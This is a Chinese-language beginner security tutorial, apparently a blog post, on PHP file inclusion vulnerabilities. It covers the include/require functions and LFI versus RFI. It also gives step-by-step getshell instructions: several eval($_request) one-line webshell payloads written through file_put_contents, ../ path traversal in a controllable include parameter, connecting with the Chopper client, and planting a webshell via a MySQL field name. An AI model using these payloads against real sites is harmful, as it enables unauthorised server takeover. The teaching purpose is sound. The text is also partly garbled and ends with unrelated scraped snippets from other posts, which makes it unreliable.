網路安全零基礎入門(第十章 2)檔案包含

2021-10-04 21:59:14 字數 4227 閱讀 2940

本篇內容:什麼是檔案包含漏

函式解析

實戰注意

1.場景

後端的每個頁面都要進行身份驗證。

假若普通人可以訪問管理員才能看到的頁面,不就造成了越權嗎?

但是如果每個頁面都寫一遍驗證身份的**。整個系統會變得很冗餘且難維護。

為此,開發們寫了一些檔案包含函式。這樣驗證**僅僅寫在乙個檔案中

什麼地方用到就呼叫這個檔案,即檔案包含

初衷:~減少**冗餘

~方便修改

2.定義

攻擊者利用包含的特性,加上應用本身對包含檔案的控制不嚴格

導致系統執行了攻擊者的惡意檔案。

本質:檔案包含並不屬於漏洞,只是因為對包含執行的檔案不可控

才導致了檔案包含漏洞的產生。

注意:包含進來的檔案「不管字尾」是什麼都會被當作php**解析執行,

//突破了字尾的限制,一般配合馬進行攻擊

3.攻擊思路:

方法一:

~製作馬,內容作用就是建立一句馬。**如下:

<?php file_put_contents('8.php','<?php eval($_request[a])?>');?>

~上傳馬

~檔案包含馬

~執行馬,生成一句馬

~找到咱們一句馬的位置   //可以是絕對路徑,可以是相對路徑

~菜刀連線

方法二:

~上傳正常馬

~傳參為:url?a=file_put_contents('8.php','<?php eval($_request[a])?>');

~菜刀連線

4.分類

~本地檔案包含(叫做lfi)

包含執行**本身的檔案

~遠端檔案包含(叫做rfi)

通過http協議包含執行別的地方的檔案

注意:遠端檔案包含,php預設不開啟,需要開啟修改php.ini的這個配置(allow_url_include = on)

補充:其實win系統,可以通過本地檔案包含實現遠端檔案包含

利用smb服務,有興趣的話可以去了解一下。

1.include

使用include引用外部檔案時,只有**執行到include**段時,才會呼叫外部檔案。

當引用**發生錯誤時,系統只會給出警告錯誤,而整個php檔案會繼續執行

總結:**正常執行,執行到include處,載入外部**,

即使載入的**有錯,但僅僅發出警告,整個檔案繼續執行

例如:echo 『111』;

include(『1.txt』); //假設1.txt不存在

echo 『222』;

輸出結果為:

111錯誤資訊  //爆出錯,繼續執行

2222.require

php檔案被執行之前,php解析器會先引用外部檔案進行全部內容替換。

然後剩餘的其他語句組成個新的php檔案,最後執行這個新的php檔案。

當引用**發生錯誤時,整個檔案都會報錯,且停止執行(直接死掉)

總結:先載入外部**與源**組成新檔案,執行新檔案,若載入的外部**有錯,

整個檔案直接整體報錯,且停止執行

例如:echo 『111』;

include(『1.txt』);  //假設1.txt不存在

echo 『222』;

輸出結果為:

111錯誤資訊  //到這停止執行

//沒有222

注意:這個外部的**出錯也分等級,一般的小報錯,這個require的檔案

也依然會執行。只有出現致命錯誤的時候,檔案才直接死掉。

3.include_once

在引用(匯入檔案前)先檢測該檔案是否存在別處已經引用過include_once

若已經引用過,則不會執行;若沒有引用過,則執行

舉例一:

<?php

include_once(『1.php』);

include_once(『2.php』);

?>

結果一:1.php被引用 2.php未被引用

舉例二 :

<?php

include(『1.php』);

include_once(『2.php』);

?>

結果二:1.php被引用 2.php未被引用

舉例三 :

<?php

include_once(『1.php』);

include(『2.php』);

?>

結果三:1.php被引用 2.php被引用

4.require_once

結合上邊,道理一致

注意:這個「once」的含義。本質就是帶once的多了乙個判斷

5.對上邊補充

以上函式的包含路徑,既可以是絕對路徑,也可以是相對路徑

6.檔案包含getshell

例如 :

目標站點3.php的內容如下:

<?php

if(某個條件):

include($_request[『aa』]);

?>

訪問**:url 3.php? 滿足某個條件 && aa=…/…/…/…/a/b/c/馬

凡是這個檔案(這個路徑下的「…/…/…/…/a/b/c/馬」)不管是什麼

都會以php解析執行。那就厲害啦!!!

綜上,其核心就是讓**可以滿足某個條件,使之執行include函式,

我們在通過傳參控制,讓include包含我們想讓其解析執行的檔案即可

攻擊步驟:

只要能上傳檔案(例如),我們只要在這個檔案裡插入「一句馬」;

字尾什麼的都不用改;

我們只要能控制傳參「include」使內容改為上邊內容;

然後我們的路徑 填寫馬的路徑 菜刀連線;

url 3.php?aa=…/…/…/…/a/b/c/馬&a=phpinfo();

//馬的連線引數是「a」

直接getshell

1.cd sb/…/訪問

cd admin    //訪問 admin資料夾

cd …/      //訪問 上一層資料夾

cd admin/…/   //訪問 admin進來,再出來

//所以綜合直接什麼也不做 //電腦看到這直接什麼也不做

cd 隨便寫/…/   //什麼也不做

這個小知識在php中也可以用,但是php中不要出現「? *」等符號,否則報錯

2.php的「?」

php的傳參路徑中不要出現「?」

「?」代表傳參的問題,一旦路徑出現,基本就會報錯。盡量避免「?」

3.路徑意義

…/…/…/…/ 的意義就是跳到:根目錄

有時候乙個 / 的意思也是跳到:根目錄

4.file_put_contents函式

作用:建立新檔案

格式:file_put_contents(『新建檔名』,『新建檔案內容』)

例如

file_put_contents(『sb.php』,』<?php eval($_request['a']);?>』)

//新建sb.php檔案,內容是一句馬

5.phpstudy修改配置檔案

修改配置檔案後,重啟生效 

6.原始碼審計注意事項

~seay搜尋可控的include,雙擊檢視函式位置

~檢視需要滿足什麼條件才會執行

~在多向上看看**,會不會有一些引數會導致整個**終止的條件(如die或exit的字眼)

~除錯**的時候,多用var_dump()輸出,echo輸出有很多限制

~php**現「 :: 」的時候,就是呼叫跟在後邊類中的方法(簡單理解,乙個自定義函式)

7.mysql資料庫儲存結構

一般乙個庫,在本地就是乙個資料夾

乙個表就是乙個檔案,而字段的名字,則會被儲存在這個檔案中

so,有時候。我們直接將欄位名改為:<?php eval($_request['a']);?>

就相對於在伺服器的乙個檔案中寫入惡意**

找到該檔案路徑 //白盒審計,不多說

配合檔案包含與菜刀,接下來就不用多說了吧

第十章 安全

網路安全 面對防病毒 防火牆 ids ips utm等明朗滿目安全解決方案讓使用者不知何選擇,也經常聽到很多管理員抱怨ids ips 防火牆 流量管理等該上的安全裝置都上但是在安全上心裡還是沒有底。網路安全實際上是乙個木桶效應,應該盡快找到最短的短板,只要有一塊短板存在無論你再怎麼加高木桶都是一事無...

零基礎學Python(第十章 迴圈巢狀)

python 語言允許在乙個迴圈體裡面嵌入另乙個迴圈。for x in range 10 外層迴圈 for j in range 10 內層迴圈 print end print 內層完畢後換行 只有內層迴圈全部迴圈完畢,才會繼續執行外層迴圈 for x in range 1,10 外層迴圈 for ...

第十章 網路程式設計

1.網路基礎概念 網路程式設計!程式設計 略2.ip協議 ip internet protocol 協議是網際層的主要協議,支援網間互連的資料報通訊。它提供主要功能有 1 無連線資料報傳送 2 資料報路由選擇和差錯控制 3.tcp udp 1 tcp transmission contorl pro...